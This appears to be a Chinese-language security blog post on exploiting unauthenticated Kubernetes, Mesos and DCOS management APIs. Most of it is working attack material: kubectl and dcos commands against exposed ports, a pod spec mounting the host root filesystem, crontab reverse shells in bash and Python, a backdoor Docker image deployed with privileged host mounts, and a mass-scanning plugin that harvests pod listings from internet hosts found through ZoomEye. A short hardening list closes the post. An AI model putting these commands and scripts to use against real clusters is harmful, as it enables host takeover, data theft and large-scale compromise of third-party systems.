攻击容器集群管理平台

随着大数据时代的到来,容器化技术(Containerization)运用地越来越广泛,容器集群管理平台也应运而生。

当前主流的容器集群管理技术,包括 Docker 官方的 Docker Swarm、Apache 的 Mesos和 Google 的 Kubernetes(我厂也在用)。 其中 Docker Swarm 使用了 Docker 原生的标准 API 来管理容器,另外的 Mesos 和 Kubernetes 都采用了自己的实现方式。 大家或许还记得之前影响广泛的 Docker Remote API(2375 端口)未授权漏洞,那么其他的容器管理平台是否也会存在类似的问题呢?

0x01 Kubernetes

攻击容器集群管理平台

根据官方文档,API Server 默认会开启两个端口:8080 和 6443。 其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。

攻击容器集群管理平台

直接访问 8080 端口会返回可用的 API 列表,如:

{"paths": ["/api","/api/v1","/apis","/apis/extensions","/apis/extensions/v1beta1","/healthz","/healthz/ping","/logs/","/metrics","/resetMetrics","/swagger-ui/","/swaggerapi/","/ui/","/version"]}

而直接访问 6443 端口会提示无权限:User "system:anonymous" cannot get at the cluster scope.

在 Zoomeye搜索:metrics healthz,可以看到使用 Kubernetes 最多是中国和美国。 其中 443 和 8443 端口几乎都是 OpenShift Origin,一个基于 Kubernetes 的企业版容器管理平台,默认需要认证。

攻击容器集群管理平台

访问 /ui 会跳转到 dashboard 页面,可以创建、修改、删除容器,查看日志等。

攻击容器集群管理平台

Kubernetes 官方提供了一个命令行工具 kubectl。使用 kubectl 不仅能完成图形界面上的操作,还有个特殊的功能——在容器中执行命令,类似 docker 里的 exec 。

// 获得所有节点> kubectl -s http://1.2.3.4:8080/ get nodes// 获得所有容器> kubectl -s http://1.2.3.4:8080/ get pods --all-namespaces=true// 在 myapp 容器获得一个交互式 shell> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash

当然,如果可以控制容器的运行,我们也可以尝试获取宿主机(即 nodes)的权限。 参考 Docker Remote API 未授权访问漏洞利用,流程大体为创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab 定时任务反弹 shell。

根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml,将节点的根目录挂载到容器的 /mnt 目录。

apiVersion: v1kind: Podmetadata:name: myappspec:containers:- image: nginxname: test-containervolumeMounts:- mountPath: /mntname: test-volumevolumes:- name: test-volumehostPath:path: /

然后使用 kubectl 创建容器:

// 由 myapp.yaml 创建容器> kubectl -s http://1.2.3.4:8080/ create -f myapp.yaml// 等待容器创建完成// 获得 myapp 的交互式 shell> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash// 向 crontab 写入反弹 shell 的定时任务> echo -e "* * * * * root bash -i >&/dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab// 也可以用 python 反弹 shell> echo -e "* * * * * root /usr/bin/python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab稍等片刻接收到反弹的 shell:

攻击容器集群管理平台

0x02 Mesos

攻击容器集群管理平台

根据官方文档,Mesos master 默认监听 5050 端口。

Mesos 主界面:

攻击容器集群管理平台

Mesos 的 API 可参考HTTP Endpoints。 比较有用的一个 API 是 /flags,可以查看系统的配置情况,包括是否开启权限认证。

Mesos 从 1.2 版开始才有了 exec 进入容器的功能:Mesos Support for Container Attach and Container Exec。 值得吐槽的是 Mesos 的命令行工具居然没有文档,原因是 CLI 依然有很多功能缺失需要重构:A full redesign of the Mesos CLI。好在有一个Design Doc: Mesos CLI可供参考。

又因为没有一个专门的 Mesos CLI 工具,唯一的一个mesosphere/mesos-cli 也有两年没更新了,所以只能安装 Mesos 来使用命令行。

在 Ubuntu 16.04 下安装:

// 添加源> cat << EOF >> /etc/apt/sources.list.d/mesosphere.listdeb http://repos.mesosphere.com/ubuntu xenial mainEOF// 更新> apt-get update// 如果出现签名问题需要导入 public key// > apt-key adv --keyserver keyserver.ubuntu.com --recv-keys DF7D54CBE56151BF// 安装 mesos> apt-get -y install mesos

安装完成后可以对 Agent 下发任务执行命令(Mesos 版本均为 1.3):

// 设置目标 URL > mesos config master 1.2.3.4:5050// 列出正在运行的容器> mesos ps // 执行命令(无回显) > mesos execute --master=1.2.3.4:5050 --name=test --command='curl 127.0.0.1/`hostname`'

攻击容器集群管理平台

可惜在 Docker Volume Support in Mesos Containerizer中未能找到挂载宿主机(Agent)目录的办法,所以无法逃出沙箱获得宿主机权限。

0x03 DCOS

攻击容器集群管理平台

Mesosphere DCOS 是基于 Apache Mesos 的商业化版本。 根据官方文档,API Router的默认端口是 80(HTTP)和443(HTTPS)。

DCOS 主界面:

攻击容器集群管理平台

相比于 Mesos,DCOS 的对应 API 前多了 /mesos/,如在 Mesos 中查看版本号是/version,在 DCOS 中则是 /mesos/version。访问 /dcos-metadata/dcos-version.json 可查看 DCOS 的版本号。

访问 /exhibitor/ 是 DCOS 自带的 Zookeeper 管理工具:

攻击容器集群管理平台

访问 /marathon/ 是自带的框架(Framework) Marathon:

攻击容器集群管理平台

DCOS 提供了一个强大的命令行工具,和 Kubernetes 的类似,也可以进入容器执行命令。

参考Using dcos task exec,测试一下执行命令(DCOS v1.6.1,DCOS CLI v1.9):

// 设置目标 URL> dcos config set core.dcos_url http://1.2.3.4// 根据文档创建一个描述文件> dcos marathon app add my-app.json// 在执行 my-app 执行 hostname 命令> dcos task exec my-app hostnameNo container found for the specified task. It might still be spinning up. Please try again.// 添加一个任务> dcos job add my-job.jsonDC/OS backend does not support metronome capabilities in this version. Must be DC/OS >= 1.8

居然不能在 my-app 执行命令,可能是 DCOS 版本过低所致,那如果运行一个 Docker 容器呢:

> dcos task exec my-docker hostnameThis command is only supported for tasks launched by the Universal Container Runtime (UCR).

根据Universal Container Runtime (UCR),container type 需要指定为 MESOS 才能执行命令,但 UCR 是有限制的:

The UCR does not support the following: runtime privileges, Docker options, force pull, named ports, numbered ports, bridge networking, port mapping, private registries with container authentication.

所以如果使用 UCR 的话,Docker 将无法挂载外部目录。而如果使用已有的 Docker 基础镜像的话,无法执行我们需要的命令。

想了一下可以用构建自己 Docker 镜像的方法绕过。

参考 Deploying a Docker-based Service,去https://hub.docker.com 注册一个账号,假设用户名为 test,创建一个公开的 Repository: backdoor。

编写 Dockerfile:

FROM alpine# 容器启动时执行命令CMD echo -e "* * * * * root /usr/bin/python -c 'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

构建 Docker 镜像并推送到 Docker hub:

> docker build -t test/backdoor .> docker login> docker push test/backdoor

写配置文件,使用 backdoor 镜像且挂载宿主机根目录到 /mnt:

{"id": "backdoor","container": {"type": "DOCKER","volumes": [{"containerPath": "/mnt","hostPath": "/","mode": "RW"}],"docker": {"image": "test/backdoor","network": "BRIDGE","privileged": true} },"acceptedResourceRoles": ["slave_public"],"instances": 1,"cpus": 1,"mem": 1024}

最后添加容器到 Marathon:dcos marathon app add backdoor.json 稍等片刻获得反弹的 shell:

攻击容器集群管理平台

0x04 批量验证

以 Kubernetes 为例,用POC-T 可以很方便地从 Zoomeye 的 API 获取数据并进行验证。写一个插件试试:

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# project = https://github.com/Xyntax/POC-T

# author = Oritz

"""

Kubernetes api 未授权访问

需要安装 kubectl

curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl

chmod +x ./kubectl

sudo mv ./kubectl /usr/local/bin/kubectl

Usage:

python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000

"""

import subprocess

import requests

from plugin.useragent import firefox

defpoc(url):

if '://' not in url:

url = 'http://' + url

if '443' in url:

url = url.replace('http:', 'https:')

try:

g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False)

if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content:

pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url,

stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True)

output = pods.communicate()[0].decode("utf-8")

if "Please enter Username" not in output and "Error from server" not in output:

with open("k8s.txt", "a") as f:

f.write(url + "\n" + output + "\n")

return url

except Exception:

pass

return False

部分结果放在了 gist 上:k8s.cn.txt

0x05 偶遇挖矿

在研究过程中发现了部分未授权的 DCOS 被用来挖矿,如查看 DCOS 的任务日志:

攻击容器集群管理平台

在 Zookeeper 的任务配置里也可以看到:

攻击容器集群管理平台

图中的命令和常见的批量扫描主机漏洞并植入挖矿软件的程序很像,所以不大可能是管理员自己运行的。 不过查了一下 Github 上其实早就有开源的基于 Mesos 的分布式比特币挖矿程序了,因为容器管理平台的资源一般都很充裕,可能会成为矿工们的新目标。

0x06 总结

文中主要介绍了 Kubernetes 和 Mesos 未授权漏洞的利用方式和获得宿主机权限的攻击方式。容器管理平台未授权访问不仅会泄露容器中的代码、数据库等敏感文件,还有可能导致宿主机被控制进入内网,产生更大的危害。

参考 Security Best Practices for Kubernetes Deployment,在安装和运行容器管理平台时,遵循以下几点可提高安全性:

  • 配置防火墙,禁止敏感端口对外开放

  • 对管理端口加上认证

  • 使用安全的镜像(私有镜像仓库)

  • 设置容器资源限额

  • 容器以非 root 用户运行

文中还有两个问题没有解决:

  • Apache Mesos 如何挂载宿主机目录

  • DCOS 在容器中执行命令是否有更好的方式

如果有意见和建议,欢迎提出。

0x07 参考

容器集群管理工具各项对比

容器集群管理工具各项对比

Docker Remote API 未授权访问漏洞利用

SecurityBestPracticesforKubernetesDeployment